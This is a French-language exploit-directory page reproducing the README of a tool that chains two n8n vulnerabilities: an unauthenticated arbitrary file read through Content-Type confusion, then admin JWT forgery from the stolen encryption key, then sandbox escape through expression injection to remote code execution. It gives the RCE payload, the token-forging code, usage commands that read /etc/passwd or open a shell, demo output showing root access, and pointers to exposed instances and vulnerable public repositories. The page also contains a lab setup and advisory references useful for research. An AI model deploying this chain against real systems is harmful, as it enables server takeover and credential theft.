Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-21858 — Chaîne d'exploitation automatisée pour n8n permettant une lecture arbitraire de fichiers sans authentification, la falsification de jeton administrateur et le contournement du bac à sable pour aboutir à une exécution de code à distance via une injection d'expression. | Kitploit
Outils/GitHubGitHub/kaleth4/cve-2026-21858
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationRed TeamingDéveloppement de Charges Utiles
GitHubkaleth4/cve-2026-21858

CVE-2026-21858

Chaîne d'exploitation automatisée pour n8n permettant une lecture arbitraire de fichiers sans authentification, la falsification de jeton administrateur et le contournement du bac à sable pour aboutir à une exécution de code à distance via une injection d'expression.

Voir le dépôt
4il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-21858 + CVE-2025-68613 - Chaîne complète n8n

Lecture arbitraire de fichiers non authentifiée → Forge de jeton admin → Contournement de sandbox → RCE

Chaîne RCE complète non authentifiée sur n8n :

  1. CVE-2026-21858 - Confusion de Content-Type → Lecture arbitraire de fichiers
  2. Lecture de la configuration + base de données → forge d'un JWT admin
  3. CVE-2025-68613 - Injection d'expression → contournement de sandbox → RCE

Détection

L'exposition est basée sur la version. En termes d'exposition, il existe des instances n8n vulnérables accessibles publiquement.

Résultats LeakIX : Voir les instances exposées

Pourquoi cet exploit ?

Cet exploit a été développé indépendamment du write-up de Cyera (découvert après son achèvement). Différences clés :

Cyera (Recherche originale)Cet exploit
Lecture de fichiersChargement dans la base de connaissances IA → interrogation via chatRéponse HTTP directe
PrérequisWorkflow de chat + intégration IAN'importe quel formulaire avec upload de fichier
Méthode RCENœud « Execute Command » (désactivé par défaut)Injection d'expression (fonctionne sur les installations par défaut)
AutomatisationDémo manuelle/conceptuelleScript Python entièrement automatisé

Les deux approches nécessitent des configurations de workflow spécifiques. Cyera a besoin d'un chat + d'une intégration IA, cet exploit a besoin d'un formulaire avec un nœud Respond. Voir Limitations pour plus de détails.

Chaîne d'attaque

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     NON AUTHENTIFIÉ                       │
├───────────────────────────────────────────────────────────┤
│  1. Lecture de /proc/self/environ → Trouver le répertoire HOME │
│  2. Lecture de $HOME/.n8n/config → Obtenir encryptionKey   │
│  3. Lecture de $HOME/.n8n/database.sqlite → Obtenir les identifiants admin │
├───────────────────────────────────────────────────────────┤
│                      FORGE DE JETON                       │
├───────────────────────────────────────────────────────────┤
│  4. Dérivation du secret JWT à partir de encryptionKey     │
│  5. Forge du cookie de session admin                      │
├───────────────────────────────────────────────────────────┤
│                    RCE AUTHENTIFIÉ                        │
├───────────────────────────────────────────────────────────┤
│  6. Création d'un workflow avec injection d'expression    │
│  7. Contournement de sandbox via this.process.mainModule.require │
│  8. Exécution de commandes arbitraires                    │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lecture arbitraire de fichiers via confusion de Content-Type

Le correctif

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

Le légendaire « Merge commit from fork » - quand vous voyez ça, quelqu'un a trouvé quelque chose de piquant. 🌶️

Cause racine

root@kitploit:~
// AVANT (vulnérable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// APRÈS (corrigé)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Envoyez Content-Type: application/json → contrôlez filepath → lisez n'importe quel fichier.

CVE-2025-68613 - RCE par injection d'expression

Pourquoi ce contournement ?

n8n isole le code utilisateur (Code Node, expressions) avec vm2/isolated-vm. Autres vecteurs RCE :

TechniqueStatut
Nœud Execute CommandDésactivé par défaut (N8N_ALLOW_EXEC_COMMAND=false)
Nœuds SSH/HTTPExécution sur des serveurs distants, pas sur l'hôte n8n
Évasion de sandbox PyodideCVE-2025-68668 - nécessite le nœud Python Code
Injection d'expressionCVE-2025-68613 - fonctionne sur les installations par défaut

J'ai utilisé l'injection d'expression car elle fonctionne sur n'importe quel n8n avec les paramètres par défaut - aucun nœud ou configuration spéciale requis. Le contournement Pyodide (CVE-2025-68668) nécessite le nœud Python Code qui peut ne pas être disponible sur toutes les instances.

La charge utile

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Les expressions n8n ont accès à this.process.mainModule.require → évasion complète du sandbox.

Forge de jeton

root@kitploit:~
# Dérivation du secret JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge du jeton
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configuration du laboratoire

root@kitploit:~
docker compose up -d
# Attendre ~60 secondes pour la configuration
# Formulaire : http://localhost:32790/form/vulnerable-form
# Identifiants : [email protected] / ExploitLab123!

Utilisation

root@kitploit:~
# Lire un fichier arbitraire
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Chaîne complète avec commande
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Shell interactif
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Démo

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - Chaîne complète n8n     ║
║     Lecture arbitraire de fichiers → Forge de jeton → Contournement de sandbox → RCE ║
╚═══════════════════════════════════════════════════════════════╝

[*] Cible : http://localhost:5678/form/vulnerable-form
[*] Version : 1.65.0 (VULN)
[x] Répertoire HOME
[+] Répertoire HOME : /root
[x] Clé de chiffrement
[+] Clé de chiffrement : yusrXZV1...
[x] Base de données
[+] Base de données : 1327104 octets
[x] Utilisateur admin
[+] Utilisateur admin : [email protected]
[x] Forge de jeton
[+] Forge de jeton : OK
[x] Accès admin
[+] Accès admin : ACCORDÉ !
[+] Cookie : n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE : OK

uid=0(root) gid=0(root) groups=0(root)

Limitations

Ce n'est PAS un exploit « pwn n'importe quel n8n ». Il nécessite des conditions spécifiques pour fonctionner :

ExigenceDescription
Formulaire avec upload de fichierLa cible doit avoir un workflow de formulaire avec un champ d'upload de fichier
Nœud Respond to WebhookLe workflow doit renvoyer le contenu du fichier dans la réponse HTTP
Workflow actifLe workflow de formulaire doit être activé
Accès non authentifiéLe formulaire doit être accessible publiquement (sans authentification)

Exemple de configuration de workflow vulnérable :

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

Les éléments clés sont : fieldType: "file" + respondWith: "binary". Ce modèle est courant dans les workflows de traitement de fichiers (convertisseurs, redimensionneurs d'images, processeurs de documents).

Fonctionne :

  • Formulaires avec nœud Respond renvoyant des données binaires (convertisseurs de fichiers, processeurs)
  • Installations n8n par défaut (injection d'expression non bloquée)
  • Déploiements locaux/Docker (base de données + configuration stockées sur disque)

Ne fonctionne pas :

  • Formulaires sans nœud Respond (le fichier est lu mais le contenu n'est pas renvoyé dans la réponse HTTP)
  • Formulaires nécessitant une authentification
  • n8n Cloud (architecture différente, pas d'accès aux fichiers locaux)
  • Versions corrigées (>= 1.121.0)

Remarque : La vulnérabilité (lecture arbitraire de fichiers) est déclenchée indépendamment de la méthode d'exfiltration. Le nœud Respond n'est qu'un moyen de récupérer le contenu. Des méthodes alternatives (OOB, autres nœuds de sortie) peuvent fonctionner selon la configuration du workflow.

Exploitation aveugle : Si aucun nœud respond n'existe, le fichier est toujours lu par n8n mais ne peut pas être exfiltré via la réponse HTTP. Des techniques alternatives (OOB, timing) seraient nécessaires.

Exemples concrets

Le modèle vulnérable (Form Trigger + upload de fichier + Respond to Webhook) existe dans des dépôts GitHub publics.

Remarque : Les dépôts de workflows n8n populaires (>100⭐) n'utilisent pas ce modèle. Ce sont des projets communautaires/personnels :

Fichier de workflowChamps de fichiersrespondWith
ifcpipeline/.../ifcpipeline.jsonIDS, IFC (x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.jsonImages, Audio, Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.jsonDocument(PDF)text
ai_resume_project/resume_rag.jsonFile UploadallIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.jsonAudio Filetext
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonfiletext
voltixLandingPage/.../chatbotvoltix.jsonUpload Filedefault
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonfiledefault
8n8Workflows/.../3WoSqiBnZ56RtWMb.jsonUpload your documentdefault
learn_earn_ai_insta/.../My workflow.jsonupload your filedefault
finintworkshop/.../API using n8n (ToT).json

Ce sont des workflows contribués par la communauté. Aucun modèle officiel n8n.io n'utilise ce modèle vulnérable.

Références

  • Environnement Vulhub - Laboratoire prêt à l'emploi sur Vulhub
  • Recherche Cyera - Write-up complet Ni8mare - Recherche originale par Dor Attias
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • Modèle Nuclei CVE-2025-68613
  • Résultats de recherche LeakIX - Instances vulnérables exposées
  • Formidable - « La bibliothèque, pas la chanson » (merci Cyera pour le rire)
Télécharger l’outil
file
json